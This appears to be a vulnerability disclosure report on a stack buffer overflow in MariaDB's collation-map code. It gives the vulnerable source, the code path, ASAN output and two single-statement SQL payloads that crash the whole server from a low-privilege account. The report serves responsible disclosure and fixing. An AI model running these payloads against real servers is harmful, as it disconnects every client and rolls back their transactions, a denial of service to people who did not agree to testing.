MariaDB · Report #3782405
Stack Buffer-Overflow in MariaDB Charset_collation_map_st::insert_or_replace()
How it was found
Description:
Stack-based buffer overflow in MariaDB Server's Charset_collation_map_st::insert_or_replace() function in sql/charset_collations.cc. The function copies user-supplied charset and collation identifiers into fixed-size stack buffers (33 and 65 bytes respectively) using strmake() with the attacker-controlled token length as the size bound instead of the destination buffer size. Any authenticated user can crash the entire mariadbd process with a single SET @@session.character_set_collations statement containing an overlong identifier.
Code path: SET statement -> Sys_var_charset_collation_map::do_check() -> charset_collation_map_from_item() -> from_text() -> insert_or_replace() -> strmake()
The vulnerable function in sql/charset_collations.cc:
bool Charset_collation_map_st::insert_or_replace(const LEX_CSTRING &cs_name,
const LEX_CSTRING &cl_name,
bool error_on_unknown,
myf utf8_flag)
{
// Line 57-58: charset_name buffer overflow
char charset_name_c[MY_CS_CHARACTER_SET_NAME_SIZE + 1]; // 33 bytes
strmake(charset_name_c, cs_name.str, cs_name.length); // VULNERABLE: length is unbounded
// ...
// Line 67-68: collation_name buffer overflow
char collation_name_c[MY_CS_COLLATION_NAME_SIZE + 1]; // 65 bytes
strmake(collation_name_c, cl_name.str, cl_name.length); // VULNERABLE: length is unbounded
}
The unbounded tokenizer in sql/simple_tokenizer.h:
LEX_CSTRING get_ident() {
const char *start= m_ptr++;
for ( ; is_ident_body(); m_ptr++) { } // unbounded scan over [A-Za-z0-9_]
return {start, (size_t)(m_ptr - start)};
}
Reproduction Steps:
-
Connect to a MariaDB server (version 11.2.1 or later) as any authenticated user — even one with only USAGE privilege.
-
Variant 1 — overflow charset_name_c[33] via a 200-character charset name:
SET @@session.character_set_collations='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=x';
- Variant 2 — overflow collation_name_c[65] via a 200-character collation name:
SET @@session.character_set_collations='utf8mb3=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-
Both variants crash the entire mariadbd process immediately. The client receives:
ERROR 2013 (HY000): Lost connection to server during query. All other connected clients lose their sessions simultaneously. -
On ASAN builds, the error log will contain:
==230437==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x77bd5379eca1
WRITE of size 1 at 0x77bd5379eca1 thread T13
#0 strmake /home/ubuntu/mariadb-server/strings/strmake.c:36
#1 Charset_collation_map_st::insert_or_replace(...) /home/ubuntu/mariadb-server/sql/charset_collations.cc:58
Impact
Any authenticated user (USAGE-only privilege is sufficient) can crash the entire mariadbd process with a single SQL statement, disconnecting all clients and rolling back in-flight transactions.
On builds without stack protectors (e.g. custom builds, older distro packages, or platforms where -fstack-protector is not the default), the stack overflow may be exploitable for code execution. The overflow payload is limited to [A-Za-z0-9_] by the tokenizer, which constrains but does not necessarily prevent exploitation depending on the target architecture.